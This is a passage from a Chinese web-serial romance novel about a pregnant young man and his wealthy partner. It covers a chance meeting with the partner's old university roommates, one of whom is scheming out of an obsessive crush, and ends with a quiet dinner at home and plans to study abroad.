“好吧。”沈茁心里甜滋滋的,主动翻转手腕跟林庭安十指相扣。 两人牵着手散步似的在街上走着。 这家超市离家里很近,林庭安直接让人把车回了家,打算跟沈茁一起走回去。 就当是弥补他没陪沈茁散过步的遗憾了。 “庭安!” 走到十字路口的时候,二人身后突然穿来了一道甜腻又响亮的声音。 声音的主人一连叫了好几声林庭安的名字。 沈茁下意识回头,只见不远处一个站着一高一矮两个身影。 高的那个穿着一身黑色休闲套装,脸上没什么表情,看起来似乎有些不好惹。 矮的那个则热情多了,穿着也更青春洋溢。 宽松的白衬衫配上带有菱形花纹的蓝色针织马甲,一副黑色的无框眼镜架在脸上,看上去就像刚毕业的高中生。 “庭安,真巧啊,没想到能在这碰到你。” 闵舟小跑过来,抬手在林庭安眼前晃了一下,“怎么,连老同学都认不出了?” “前几天不还见过,这才过了多久,林总可真是贵人多忘事。” 他这话说得十分俏皮,不知道的还以为是在跟暧昧对象互相打趣。 “这两位是我的大学室友,”林庭安指着眼前的两人给沈茁介绍,“这位是闵舟,他身后那个高个子的叫梁远。” “你们好。”沈茁笑着跟两人打了声招呼。 “你好,”闵舟握住沈茁的手,眼睛笑成了月牙,“很高兴认识你。” 沈茁点点头,干笑了几声。 此刻他无比庆幸自己带了口罩,才没让人看到他不停抽搐的嘴角。 几人站着寒暄了几句,一直沉默不语的梁远才终于开了口,“庭安,好多年没见了,没想到你一点都没变。” 梁远大学时主修的是金融,他家里条件不好,晚了好几天才凑齐生活费。 阴差阳错,跟林庭安住到了一个寝室。 林庭安对这个室友最大的印象就是刻苦,在寸土寸金的京都,周围人全身上下都是名牌的情况下,梁远每天吃的还是馒头就咸菜。 寒门贵子,是很多人对梁远的第一印象。 后来毕了业,梁远收到了很多offer,其中也不乏有大厂朝他抛来的橄榄枝。 但他还是选择了一家新成立的科技公司,只因为这家科技公司开出的薪资比其他公司高了百分之十。 林庭安还记得那时候所有人都在嘲笑梁远鼠目寸光,没人想得到在短短五年的时间里,那家小科技公司乘了东风,迅速跻身到了行业五百强的位置。 梁远的工资也比毕业那年提升了好几倍。 现在再见到这个刻苦又努力的大学室友,林庭安恍惚间竟有种又回到了年轻时的错觉。 “是啊,我也觉得你一点都没变。” 闵舟接过梁远的话茬,不紧不慢往林庭安身边凑了过去,“庭安,你身边这位女士是……” 这句话一问出来,在场的几人都沉默了。 林庭安抓着沈茁的手,将人挡在了自己身后。 他脸上没什么多余的表情,看样子完全没有要开口介绍沈茁的意思。 沈茁低着头,抓着林庭安的衣角,心脏不知怎么突然抽疼了一下。 能在路上遇到林庭安的同学这是他完全想不到的,更别提他现在还是这样的一副装扮。 沈茁将嘴唇抿成了一条直线,抬头看向林庭安高挺宽厚的肩背。 不开口是对的,他想,现在自己的身份太特殊,本来就不应该出来见人。 林庭安怎么解释都是错,还不如不开口,以免说错多措多。 可是…… 可是为什么,他心里会这么难受呢? “我就是随口问问,”闵舟讪笑几声,“你别介意哈。” “我们是从市中心过来的,”梁远完全没觉得尴尬,自顾自地说:“过几天学校有一个校友分享会,请了我过来演讲。” “还有我。” 闵舟举起左手,右手自然的勾住了林庭安的胳膊,“我也被请来做演讲了。” 他这个莫名又大胆的举动针一样刺进了沈茁眼睛里,尽管林庭安下一秒就将胳膊抽了回来,但沈茁还是觉得呼吸都困难起来。 这到底是避嫌,还是欲盖弥彰? 沈茁被脑子里突然升起的想法吓了一跳,他是在怀疑林庭安妈? 耳边是密密麻麻的交谈声,但沈茁的耳朵却自动模糊了声音,他只觉得聒噪。 林庭安的大学生活里没有他,他也从来不知道在高校学习生活是种什么体验。 沈茁感觉自己就像个局外人,仿佛有一堵无形的墙横亘在他和林庭安中间。 看不到摸不着,但切切实实地存在着。 脑子不断嗡嗡作响,也不知过了多久,他感到自己的手被拽了一下。 再抬头,面前就只剩下了林庭安一个人。 “回家了,”林庭安像是聊开心了,嘴角一直噙着笑,“走吧。” “哦。” 沈茁感觉自己像是做了一场梦,眨眼就从虚幻回到了现实。 他任由林庭安牵着自己,浑浑噩噩地跟在男人身后。 心头始终环绕着一股郁气,直到回了家这股气也没散去。 第58章 高悬的日头垂至山腰, 霞光照映下,踏过万千行人的街道逐渐染上了一层金光。 闵舟和梁远穿过十字路口,并肩走在落满黄叶的长街。 “你叫我过来就是为了制造一场不高明的偶遇?” 梁远看着地上闵舟被拉长的影子,冷冷开口:“你还放不下他?” 闵舟勾起唇角, 偏头用戏谑的眼神扫过梁远硬冷的脸, “你知道还问。” “这么多年, 你到底有什么放不下的?” 梁远突然停下脚步,恨铁不成钢地说:“他就是再好, 也不值得你做到这个地步。” “我有什么放不下的?” 闵舟不耐地冷哼, 脸上的笑容立刻被一种坚毅取代, “那你又有什么放不下呢?” 梁远身形一震,强装镇定的脸上闪过一瞬的慌乱。 是啊,他不理解闵舟为什么要在林庭安这一颗歪脖子树上吊死,更不理解闵舟为什么就是看不到身边的人。 他自己又何尝不是呢? 闵舟喜欢了林庭安多少年, 他就喜欢了闵舟多少年。 都说时间是最好的良药, 可以让人忘记过去的悲伤和痛苦。 但在感情上似乎刚好相反,经过岁月的沉淀, 那些得不到的就会成为心里的一根软刺。 偶尔回想会感到一阵瘙痒, 一旦仔细思考便是剧烈的阵痛。 风吹过, 树上将落不落的叶子撞击在一起发出阵阵飒飒声。 凉气灌进脖子里,闵舟蹙起眉头下意识缩了缩肩膀。 梁远见状忙脱掉自己的外套,披在了闵舟身上,“你穿的太少了, 下次多穿点出门。” 闵舟抓着肩上的衣服笑了笑,没说话。 梁远跟别人不同,他清高又专情,是闵舟众多追求者里最与众不同的那个。 对待那些不经事的富二代, 他只需要装傻充愣说些甜言蜜语吊着就好。 但梁远不一样,在他面前闵舟完全不需要伪装。 因为这个一开始并不被他看好的男人,早在几年前就已经见识到了他的卑劣。 那是一个阳光很好的下午,闵舟拖着沉重的行李来到寝室。 他是第一个到的,推开门整个寝室的灰都扑了过来。 帮他搬行李的学长见状立刻主动请缨要帮他打扫寝室,闵舟假意推脱了几句,拗不过学长的热情高涨,便将人放了进去。 这时候他已经很懂得该怎么利用自己的样貌获取好处了。 说来也奇怪,闵舟并不觉得自己长得有多好看,直到上高中前家里人还在担心他的长相。 妈妈说他是男生女相,尤其那双眼睛总是带着股魅气。 因为这个闵舟还苦恼了很长一段时间,但上了高中之后情况发生了三百六十度的大反转。 闵舟在高一下学期有了第一个追求者,是个个头不高的男生。 他那时候真的吓坏了,被表白后一句话也没说转身就跑了出去。 后来那个男生每天给他买早餐,又送了他很多见都没见过的奢侈品。 闵舟这才知道这个其貌不扬的学长家里做的是石油生意,简直可以用富得流油来形容。 他仿佛打开了新世界的大门,在很长的一段时间里利用自己青涩的话术拿到了很多好处。 做这种事似乎会上瘾,反正闵舟是越来越享受这种一伸手就有钱拿的感觉。 他已经记不清从高中到现在一共吃到了多少红利,只记得自己在林庭安身上翻了车。 说实话,闵舟身边的那些二世祖长得都不怎么样,有几个甚至可以用歪瓜裂枣来形容,林庭安是他见过最帅气的一个。 不过他可不单单只是因为林庭安帅才喜欢他。 闵舟到现在还记得那个跟巨星演唱会差不多阵仗的迎新晚会,林庭安作为新生代表站在台上发言。 他穿了一身剪裁精致的黑西装,不凡的长相加上不俗的气质,一下子就捕捉了在场所有人的眼神。 包括闵舟。 他无法用准确的语言来形容那时的心动,现在回想只记得那天的风很凉,但他的心却很热。 冷风带走了他脸上的燥热,却让他更加意识到自己的心是多么滚烫。 那天晚上他回到寝室,洗漱完坐在椅子上,心情还是久久未能平复。 林庭安就是在这时推门走进来的,他是四个人里最晚来报道的。 闵舟简直不敢相信自己的眼睛,他低头看着手机上已经垒了很多楼的校园论坛。 再抬头,论坛里的正在被讨论的风云人物竟然出现在了自己的寝室! 这一定是缘分,闵舟想,他们来自不同的专业,按理说八竿子都打不到一起,却阴差阳错成了室友。 这不是缘分是什么? 这就是天大的缘分! 但很快他就高兴不起来了。 林庭安待人处事都很冷,这成了闵舟追人路上最大的绊脚石。 他无数次的暗示与示好,林庭安都当做看不到。 闵舟实在想不出办法了,只能趁林庭安不在寝室时偷拿他的衣服来解决相思之苦。 这种事实在太变态,闵舟都是挑没人的时候锁上门做。 好巧不巧,有一天门锁坏了。 梁远买了午饭回来,刚好看到他抱着林庭安挂在椅背上的衬衫一脸陶醉地嗅闻。 很尴尬,像限制片里的老公突然醒了一样尴尬。 “你在……” 梁远因为过于瘦削而干瘪下去的脸扭曲在一起,他眼中闪烁着晦暗不明的情绪,拎在手里的馒头怦然坠地,滚到了寝室外。 用力关上门,梁远又问了一遍,“闵舟,你在做什么?” 被戳穿了闵舟也不生气,他将那件白衬衫小心翼翼放回到椅子上。 放缓步调走到梁远面前,用手指戳了两下他骨瘦如柴的身体。 “你看到了又怎样?” 闵舟的嘴角不断上扬,他直截了当地说:“你不也是一样,像个猥琐的小丑一样,偷我的内裤拿来撸。” “你知道?”梁远像是被抓了现行的罪犯,瞳孔猛地一震。 “我当然知道,”闵舟捂嘴低笑,“不然你以为像我这么谨慎的人,为什么会连内裤这么私密的东西丢了都还像没事人一样。” 因为我是故意的啊。 闵舟在心里嘲笑着梁远的低劣,尽管他们做了一样的事,但他还远不及梁远那么大胆。 而且,准确来说,那条内裤是他自己放的诱饵。 闵舟知道梁远喜欢他,从一开始就知道。 初时,他的确十分嫌弃这个又穷又猥琐的男人。 但架不住梁远学习好,也愿意耐心回答他的问题,他也就没表现得太明显。 虽然林庭安才整个寝室成绩最好的,但他校园生活十分丰富,不仅参加了很多社团,还同时兼任几个部门的会长。 闵舟见到他人的次数可以说是非常少,好不容易逮到人,他为了凑近乎拿着六级试卷去问林庭安问题。 林庭安瞥了一眼,说了句:“别拿这种低级问题来浪费我的时间。” 闵舟头顶的小火苗瞬间被浇灭了。 所以当他发现梁远对自己的暗戳戳的小箭头时,便故意欲盖弥彰,想从梁远身上索取点微不足道的好处。 只是闵舟没想到梁远竟然这么变态,比他还要变态。 “我不会说出去的,”梁远声音紧绷,“闵舟,既然你知道我的心意……” “打住,”闵舟一脸嫌恶地皱起眉头,“你还想用这事威胁我不成?” “我没有,我只是……” 梁远停顿了一下,话锋一转,“我听说你最近在准备雅思考试,我可以给你提供一些学习思路,你……你愿意吗?” “你怎么知道?” 闵舟被惊得愣在了原地,他确实在准备雅思考试。 因为学的是舞蹈专业,他毕业后能选择的工作很少。 家里商量了一下,打算送他出国留学镀个金,等回国再安排他进剧场实习。 闵舟家里条件不好不坏,只能算得上是中产。 父母做的是建材相关的小生意,家里唯二的资产就是在京郊的小别墅和四环一套不到六十平的小公寓。 供他出国虽然略显吃力,但也不是供不起。 “我……我看到你在寝室背单词了,”梁远眼神坚定,“闵舟,我……我,你给我个机会在你身边多呆一会儿就行。” “真的?”闵舟动了心思,“那你每天监督我学习,跟我一起去图书馆。” 想了想,他又补充道:“不可以动手动脚。” “好,”梁远重重点头,“我不会的。” 于是,在林庭安白衬衫的见证下,两个各怀心思的人达成了约定。 飒飒—— 思绪被风声拉回,闵舟看着面前这张跟记忆里完全不同的脸,惊觉时光飞逝。 谁能想到从前那个唯唯诺诺的男人,现在竟然变得如此英俊成熟。 “我不能再等你了,”梁远说,“家里催婚,我也有自己的规划。” “谁让你等了。” 闵舟感觉寒风更重了些,他紧了紧身上的衣服,瞪了梁远一眼,“一切都是你自己做的决定,少pua我。” “你喜欢臭我这一点倒是没变,”梁远像是想通了,释然笑道:“你放心,你托我办的事我一定帮你办成。” “不管怎样,我都当你是我的朋友。” “就到这儿吧,”梁远转身,大跨步向前走去,他抬起手提高音量,“我回家了。” “谁跟你是朋友,”闵舟朝梁远离开的方向大喊,“你的衣服!” 悠扬的男声随风传来:“你留着吧,扔了也行。” 谁稀罕! 闵舟心里窜起一股无名的怒火,他一把扯下肩膀的外套,重重扔到了地上。 胸膛剧烈起伏着,良久才平复下来。 不争气地捡起地上的衣服,闵舟走到路边的长椅上坐下。 他握紧了拳头,不断告诉自己,什么也不能阻止他达成目的。 他准备了这么久,筹划了这么久,怎么可能因为一个从没放在眼里的男人而放弃。 冷静下来,闵舟拿出手机。 点开微信,翻出了几个月前收到了信息。 【闵先生,你什么时候回来呀,可急死我了。】 【林先生带了个人回来,看样子是有那么个意思,刚才还有人说他是林先生的爱人呢,你忙完了就快回来吧!】 就是这两条消息让他提前终止了在著名舞团为期三年的进修,处理好在国外的住房就紧赶慢赶回了国。 在事业和爱情面前,他选择了后者。 闵舟闭上眼,脑海里都是几年前他上赶着跟在林庭安身后的场景。 无论如何,他已经不能回头了。 在国外的三年,他本以为可以忘掉在国内的一切。 可收到张晓春的消息,他还是慌了神,恨不得连夜买机票飞回国。 深吸口气,闵舟压下心里乱成一团的情绪。 他为这段单相思付出了太多太多,现在放手是绝对不可能的。 之前那几个二世祖简直就是草包,查了一晚上什么都没查到不说,还打草惊蛇让林庭安察觉到了。 闵舟眼里闪过一道轻蔑,他在心里反复咀嚼着“沈茁”这个名字。 最近林庭安刻意放出消息说自己有个男性恋人,与此同时又有意无意地透露出自己要有孩子的消息。 一系列操作着实让他摸不着头脑。 闵舟猜不透林庭安到底在想什么,不过也不重要了。 他满心只想着要放手一搏,为自己大学时的暗恋做最后的争取。 * 沈茁回家之后一直蔫蔫的。 两人本想休息一会再去夜市,也因为他兴致不高临时终止了计划。 家里有两个阿姨在厨房做饭,另一个正拿着吸尘器打扫房间。 嗡嗡声吵得沈茁心烦,他脱掉外衣换上事先准备好的睡裙,径直走进了自己的手工室。 桌面上的木托盘已经很久没被使用过。 算一算,他大概有一个多月的时间没接过任何单子。 因为肚子太大,坐救了会不舒服,做手工又要长时间低头,没一会沈茁就会腰酸背痛。 刚装修好的手工室就这么闲置了下来,货架上那几箱毛线他甚至一团都没拿出来用过。 积累了很多粉丝的账号也因为长时间没更新变成了死号。 沈茁无精打采地靠在沙发椅上,眼底的落寞恰似蒙尘的明珠,黯淡无光。 他拿出手机打开很久没登录的账号,发现后台多了一条私信。 是最开始定制cp手链的那个女孩:【呜呜呜,大大,你什么时候开单呀,我之前定制的那条手链突然断了[爆哭.jpg][爆哭.jpg][爆哭.jpg]】 沈茁盯着这句话看了好一会,他的第一反应是绳子质量不好,或者说他应该用双股弹力线而不是单股。 这是他的错。 【对不起啊,大概是因为那批弹力绳不够结实,我再给你做一条一样的,不用付钱,请问还是之前的地址吗?】 回复完,沈茁从手机相册里翻出了那条手链的成图。 不等对面回复,他就起身走到货架前开始找珠子。 林庭安换完衣服出来,才发现刚刚还坐在沙发上的人不见了。 他看向正忙碌的阿姨,问:“沈茁呢?” “沈先生去手工室了,”王秋梅忙跑过来搭话,“我看沈先生脸色不太好,没出什么事吧?” 林庭安被问住了,他垂眸思考片刻说:“估计是走累了。” 其实他也搞不明白沈茁到底是怎么了,明明给孩子看衣服的时候还那么开心。 才过去不到一个小时,怎么心情就急转直下了呢? “那就好,”王秋梅压低声音,“沈先生心思细,他月份也大了容易多想,我怕他钻牛角尖。” 王秋梅这话倒是给林庭安提了个醒,他仔细回想这一天的经历,究竟是哪儿出了问题呢? “我知道了,会留意的。” 走到手工室门口,林庭安抬起胳膊想要敲门,却在骨节即将碰到门板时停了下来。 沉思一秒,他直接推开门走了进去。 屋内,沈茁正对比着图片找珠子。 时间太久,跟照片上一样的珠子他已经用完了,只能挑颜色花纹类似的来做。 “怎么跑这儿来了?” 林庭安从后面抱住他,“我哪里惹你不开心了,为什么突然就不想去夜市了?” “没有不开心,”沈茁的身体瞬间变得僵硬,很快又放松了下来,“我就是不想走了。” “而且夜市离家里远,东西也不一定干净,我怕吃了对孩子不好。” “这都不是问题,”林庭安亲昵地亲吻沈茁的脖子,“如果你想吃,我先让人去排查一下,看看哪家小吃干净咱们就吃哪家。” “哪里用得着这么大费周章,”沈茁被他逗笑了,“家里这么多好吃的都不够我吃呢,我不馋那些的。” “转过来我看看,”林庭安扳过沈茁的身体,俯身从下面看他的表情,“告诉我,我哪里惹到你了?” 沈茁抿着嘴摇头,“你没有惹我。” “我怎么就是猜不透你的心思呢。”林庭安紧紧抱住沈茁,深呼出一口气来。 这一声叹息仿佛要将他所有的哀愁都吐出来似的,沈茁听了心里一阵难过。 明明是他该死的自尊心在作祟,怎么却把负面情绪也传染给别人了呢? 沈茁将头深深埋进林庭安怀里,他感觉自己被灼热的气息包围着。 尽管两人中间横着高挺的肚子,无法严词合缝地紧贴在一起,沈茁的心还是不受控地燃烧起来。 他开始为自己半个小时前的情绪后悔,他不该沉默地跟林庭安走过那条长街。 他们能在这个时候一起出行已经是天大的不易。 应该珍惜的。 沈茁眼眶一热,强烈的自责和后悔涌上心头。 “我想……我想给你做饭吃。” 沈茁抽泣着说:“对不起,我不是故意让大家都不开心的。” 他的情绪来得很快,不一会儿脸上就挂满了眼泪。 “诶呦,我也没说你呀,”林庭安手忙脚乱地抬起胳膊,不断用自己的衣袖擦拭沈茁掉下来的猫崽儿,“阿姨正做饭呢,哪里用得着你。” “可是我想给你做,”沈茁越哭越凶,白皙的脸蛋憋得通红,“我想给你蒸大米饭吃。” “宝贝,阿姨今天做的是面食。” 林庭安捧住沈茁的脸,在他猩红的眼尾连续烙下几个吻,“你给我蒸大米饭,我吃什么菜呀?” “那我只能就着你的小蛋糕吃饭了,嗯?” 他有意说些玩笑话逗沈茁开心,但这小孩像是打定了主意要痛哭一场,丝毫没有回转的迹象。 “让家里的饭店送菜过来,”沈茁抽抽搭搭地说,“你就让我做吧,我想给你做东西,但是肚子太大了炒菜不方便。” 一说起这个,沈茁的眼眶又涌出许多泪来。 他只是心里愧疚,觉得自己搞砸了完美的约会,想要弥补一下而已。 “好好好,让你做,”林庭安用哄孩子的语气说,“别哭了好不好,我让人送几道菜过来,再让阿姨都回家,今天家里只有我们俩。” “真的吗?” 沈茁呆住了,他眨眨被泪水糊住眼睛,突然有种天上掉馅饼的感觉。 “当然是真的,我什么时候骗过你。” 林庭安看着沈茁比兔子还红的眼睛,轻声哄道:“别哭了,去洗把脸。” “好……好。” 沈茁还有些没反应过来,就被林庭安牵到了卫生间。 直到听到哗啦啦的流水声,他才后知后觉今晚可以跟林庭安过二人世界了。 不对! 沈茁低头看向自己的肚子,是三人世界。 不过四舍五入一下,也算是二人世界了。 趁着沈茁洗脸的功夫,林庭安给家里的阿姨放了个假。 锅里的八珍龙须面已经开了锅,林庭安也一并让阿姨带回了家。 等沈茁出来,家里早已没了第三个人的身影。 “你看看想吃什么菜,选好了就叫厨师去做。” 林庭安拉着沈茁坐到沙发上,递给了他一个iPad。 iPad上是一份彩色的电子菜单,琳琅满目的菜品占满了整个屏幕。 沈茁舔了下嘴唇,心底的苦涩瞬间消弭在了诸多美味佳肴的召唤里。 “又开心了?” 林庭安被他磨得没了脾气,好声好气在一旁提醒:“不可以点重油的,不可以点不健康的,海鲜慎选。” 沈茁嗯了声,下一秒视线落在了那盘让人流口水的小龙虾上。 他用眼神询问林庭安,小龙虾可以吃吗? 林庭安:“今天如果吃小龙虾,就不可以吃小蛋糕。” 沈茁:! “老公,我想都吃。” “不可以,”林庭安声音轻柔,语气却不容置喙,“今晚你只能选一个。” 沈茁用三秒钟权衡了一下,“那我还是要小龙虾吧。” 反正蛋糕经常可以吃,小龙虾就不行了。 “好,”林庭安点头,“想吃什么就用电容笔画个勾。” 沈茁用三分钟的时间选了五道菜,然后恋恋不舍地把iPad还给了身边的男人,“那我现在去煮饭。” “真煮?”林庭安问。 “当然,”沈茁重重点头,“我煮的大米饭可好吃了,你还没尝过呢。” 见拗不过,林庭安低头亲了他一下,“去吧,小心点。” “嗯!” 看着沈茁蹦蹦跳跳要去煮饭的样子,林庭安不禁失笑。 这不就是个孩子吗。 是啊,沈茁可不就是个孩子。 林庭安想,他比这小孩大了整整九岁,是应该多包容照顾他。 第59章 “小龙虾可以吃, 但不能吃太多,而且要处理干净,让你家厨师少放点调料,最好白灼, 不过白灼的话就失去小龙虾的风味了, 诶不对, 你家那位要吃啥味的小龙虾?” “麻辣?五香?蒜蓉?油焖?十三香?” “除了小龙虾他还点了啥?” 手机听筒里不断传来邢远高亢的声音,林庭安回到卧室拿出耳机戴上, 回道:“他想吃麻辣的。” “另外他还想吃一道东北菜, 一道川菜, 一道粤菜,还有一块牛排,牛排要剪成条状跟松茸黑胡椒酱一起炒,炒好之后放两个整颗的泰国小菠萝做摆盘。” 邢远:“……” 在邢远沉默的一分钟里, 林庭安抬手推开了卧室的窗户。 冷风灌进屋里, 吹开了他软趴趴搭在额前的碎发。 在外他总是用发胶将一丝不苟地固定在发顶,也只有回了家才会卸下满身的防备, 展现出完全不同的一面。 说来也奇怪, 林庭安自以为是个极讨厌繁琐的人, 尤其不喜欢家里有其他人。 那几间保姆房和客房,自打装修好久没住过人。 可沈茁一出现,就将一切都打破了。 他这本规规整整置于高台的书,就这么猝不及防染上了异色。 可他为什么非但不生气, 反而觉得这颜色好看呢? 疾风骤至,林庭安关上窗,就近坐在了沙发上。 “唐阿姨前些天给我打过几个电话。” 邢远突然开口:“主要是关心了一下沈茁的孕产问题,然后就是……” “我妈怎么会突然联系你?” 林庭安脑中一闪而过林江河在病房说的话, 忙问:“我妈问你什么了?” “你别紧张,”邢远语气轻松,“唐阿姨就是问我沈茁每天吃得太多了会不会影响到孩子,还有就是……她说沈茁拿蛋糕当饭吃?” 最后这半句话邢远转了几个调才问出来。 “没那么严重,”林庭安沉声道,“顶多一天一个。” 邢远:“……” “这还不严重?”耳机里传来尖锐的声音,“你少给他吃那些不健康的,等生产的时候就知道有多遭罪了。” “沈茁本来就瘦,现在怎么吃也都吃不胖,不会影响什么。” 半晌,林庭安摸了下鼻子,“以后会注意的。” “我真是不敢想象孩子生出来之后胎脂会有多厚。”邢远无奈感叹。 “他以前没吃过这些,控制不住很正常。” 林庭安话里话外护着沈茁,“而且沈茁年纪又不大,爱吃这些甜的辣的也不奇怪吧。” “是是是,你说的都对,可你别忘了他还怀着孩子呢。” “我知道了,”林庭安想快点结束这个话题,“日后我会监督他的。” “可别以后了,今天晚上这顿就得开始控制,”邢远郑重道,“那小龙虾吃几个得了,牛排可以吃,别的菜尝个咸淡就行。” “我真不是框你,他这种情况只能剖腹产,那可是扯着皮肉连着筋的。” “从这个月开始,每半个月过来产检一次,饮食必须要控制,还要加强锻炼。” “我知道了,”林庭安想了想,叮嘱道:“以后我妈再问你,你就挑好听的说。” 挂断电话,林庭安看了眼时间。 距离他发给厨师菜单已经过了将近半个小时,估计现在菜都做了大半了。 算了,今天就再让这小孩放纵一回。 屋里没开灯,手机屏幕成为唯一的光源。 林庭安怔怔看着电话薄里自己的母亲的名字,脑中天人交战。 他摘下耳机放回到耳机盒里,只听咔哒一声,林庭安心里立刻有了计较。 他给手下的人发了条消息,派人立刻去调查唐卿最近在做什么,又有哪些动作跟沈茁有关的。 放在以前,林庭安怎么也想不到,他会有暗地里调查自己母亲的一天。 强压下心里的负罪感,他收拾好情绪,起身走出了卧室。 沈茁正手里端着刚盛出来的米饭,见林庭安出来,立刻咧开嘴给他展示刚出锅的大米饭。 “很香,”林庭安走到他身边,米香味随着两人距离的缩短越来越浓,“累不累?” “我以前经常自己做饭的,不累。” 沈茁拿碗的手被烫得发红,林庭安忙伸手接过,“我拿吧。” “对不起,我没控制好自己的情绪,”沈茁亦步亦趋跟在男人身后,“这碗饭就当是赔罪了。” “还有用大米饭赔罪的?”林庭安轻笑。 沈茁面上一红,低下头不说话了。 送餐的人没几分钟就到了,林庭安把阳台闲置的玻璃方桌移到了客厅落地窗旁。 风味不同颜色各异的几道菜腾腾冒着热气,独属于夜晚的沉静让整个屋子陷入了久违的寂寥。 林庭安端着东西走过来,他左手是一杯温热的牛奶,右手是杯冰啤。 装冰啤的杯子外慢慢凝上了一层水气,水珠顺着林庭安的指缝溢出,染了他一手水渍。 咔哒,两个直筒杯分别放在桌子的两侧。 沈茁早就坐好只等着开吃了,他看着面前的热牛奶,抬头用湿漉漉的眼睛看着林庭安。 还没开口,就被林庭安无情地拒绝了,“不行,只能喝这个。” “好吧。” 沈茁端起面前的杯子,啜饮了一小口,温热的牛奶顺着口腔游遍大半个身体。 喝牛奶也挺好的,虽然总是喝这个难免觉得厌倦,但至少这东西有营养也算不上亏。 “邢远说让我控制你的饮食,以后不能吃这么多了。” 林庭安边用纸巾擦手边看向沈茁,嘴唇翕动:“我让营养师重新拟了菜单,以后就按新的食谱来。” “啊?”沈茁身体僵了一下,“那小蛋糕?” “一周吃一个,”林庭安盯着那杯正在冒气泡的冰啤,避开了沈茁的眼睛,“你现在吃得多了,生产的时候就会遭罪。” “而且对宝宝也不好。”他补充道。 一听对孩子不好,沈茁想要争辩的话一股脑堵在了喉咙里。 他不断用尖锐的虎牙碾压摩擦自己的嘴唇,直到蝉翼般的薄唇变得殷红,才堪堪松开嘴。 心里莫名地发闷,沈茁有种违背初心的感觉。 明明他那么爱孩子,舍不得让孩子受一点苦,面对这么微小的诱惑他怎么就没抵挡得住呢? 他也不是嘴馋的性子,之前十几年更是一路苦过来的,不过一年的隐忍他又有什么不能接受的。 想到这些,沈茁暗下决心,以后要严格控制自己的饮食。 不仅如此,他还要多锻炼,只有他自己的身体好了宝宝的身体才会好。 “吃吧。” 突然,一个装满了小龙虾肉的盘子送到了面前。 林庭安摘掉布满油渍的一次性手套,朝沈茁扬了下头,“龙虾肉,今天多吃点,明天可就不能任性了。” 他鲜少用这样轻松柔和的语气说话,沈茁皱成一团的心霎时被抚平了。 剥小龙虾很费手,沈茁从蒲团上直起身,慢腾腾移到林庭安身边。 他捧起林庭安发红的手指,放在嘴边吹了几下,“我自己可以剥的,你的手很好看,别弄坏了。” 沈茁的声音很软,像被火烤过的棉花糖,只上面有一层酥脆的壳,内里则完全是化开的。 滚烫,香甜。 林庭安感觉自己的手被人小心翼翼地捧着,紧接着就是一道带着奶香的热气,直扑到掌心。 他心神一动,猛地回握住沈茁的手。 “还想不想吃小龙虾了?”林庭安声音暗哑,“想吃就乖乖坐回去,不然咱们就回房间。” “啊,我……我吃!” 沈茁忙不迭地坐回去,挖了满满一勺虾肉放进嘴里。 那样子就像几个月没吃过饭的灾民,把林庭安给看笑了。 “慢点吃,没人跟你抢。” “这是最后的晚餐,”沈茁咽下满嘴的虾肉,含混道:“我当然要快点吃,万一过了十二点就是明天了,我就不能吃了。” 这是他给自己设定的界限,过了十二点他就要恢复理智,变成宝宝的好爸爸。 不可以任性的爸爸。 “新拟的菜谱都是好东西,不会亏了你的胃。”林庭安安慰道。 “邢远和他的同学已经开始商量手术方案了,生产的事你不用过多担心,只需要保持每天性情舒畅,在预产期的前半个月去医院备产就好。” “我知道的,我不担心。” 沈茁曾偷偷查过邢远医生的资料,在电脑输入邢远的名字后,弹出来满满一整个页面都是邢远出席医学峰会的报道,还有他分享医疗经验的风姿。 这样优秀的医生能给自己做手术,沈茁怎么会不放心? 这一顿饭,两人吃的都很开心。 最后,温牛奶跟冰啤酒碰了个杯,发出了沉夜里最后一道清脆的响声。 洗漱完,两人躺在床上。 沈茁破天荒没有犯困,他枕在林庭安的肩上,回想自己突如其来的情绪。 犹豫着开口道:“我白天的时候是突然想到自己没上过大学,连高中都没读完,一时觉得插不进你们的话才那样的。” 他环住林庭安的腰身,将自己沉重的肚子压在了林庭安的小腹上。 林庭安蓦然有种守得云开见月明的感觉,他白天跟梁远多聊了几句,是因为萌生出了想挖梁远进公司的想法。 不得不承认,梁远是个有才华的人,而且很有远见。 林庭安一开始也以为梁远是瞎猫碰上死耗子,公司高层抓住机遇连带着整个公司的员工一起飞升。 可下午见到了人,他突然意识到或许当初梁远早已经看准了行业未来的发展走向。 那家小公司也不过是他这个鲲鹏,给自己觅得的一个展翅的良机。 林庭安怎么也没想到,沈茁竟然会因为这个生出不好的想法。 他以为这小孩心性坚强,靠着自己挺过去了诸多磨难。 殊不知沈茁也有颗柔软的心,这份软在怀了孩子之后愈发深重,已经到了不可忽视的地步。 “是我的错,”林庭安握住沈茁的手,安抚性的揉搓着,“没注意到你的情绪是我不对,下次我会注意的。” “没关系的。” 沈茁鼻尖一酸,他依偎在林庭安怀里,恨不得将心里的酸涩全部倾吐出来,“我只是突然情绪上头,不怪你的,是我自己的问题。” 林庭安揽着沈茁的身体,想到了他手工室的那些珠子,心中一道念头猛然闪过。 “之前我让人把你那些珠子拿去检测了,都是染色的玻璃珠,短时间佩戴虽然没有问题,但你怀着孕长时间接触对宝宝不好。” 林庭安缓缓道:“检测结果两个月前就出来了,只是后来我看你一直没碰那些珠子就没提这事,今天……” 他停顿了一秒,沈茁心领神会,立刻开口:“那我做完这一条就不碰了!” “我没说不许你碰这个,”林庭安笑道,“以后别碰染色的珠子就好,我让助理去采购几批天然的玉石和水晶,你用那些做设计对身体反而好些。” 沈茁心里一惊,他做那些手串只是想给自己找点事情做,做起来之后也能赚点钱。 设计这种高大上的词汇,他从来没想过能用在自己身上。 刚想开口反驳,就听林庭安又说:“你先拿这些练练手,等孩子生下来我就安排你去国外学设计。” 沈茁的心猛然一跳。 去国外读书吗? “家里在国外有房子,你去了可以不用担心任何问题,只需要好好享受求学的时光,偶尔出去跟朋友聚餐享受生活就好。” 林庭安低声说着,沈茁听在耳朵里,连呼吸都不敢大声。 一颗心高高悬起,他感觉自己仿佛正飘在云端。 “可是,孩子……” “不用担心这个,”林庭安打断道,“等孩子半岁之后我跟你一起出国,公司要拓展海外业务我也要在国外待一段时间。” “到时候你上学我工作,孩子有保姆带不用咱们操心。” “只是刚去时可能不习惯,但住久了适应了当地的人文风情,又会有不一样的感觉。” “等你读完书宝宝也长大了,先让他感受一下国外的教育,到时候是留在国外还是回国我们再商量。” 林庭安几句话砸在沈茁心里,如天降惊雷,将他整个人砸得直发懵。 “真的……吗?” 沈茁呼吸加重,难言的感动自心底蔓延开来。 暗夜里,他的眼眶瞬间红了,就连鼻尖也染上了点点红晕。 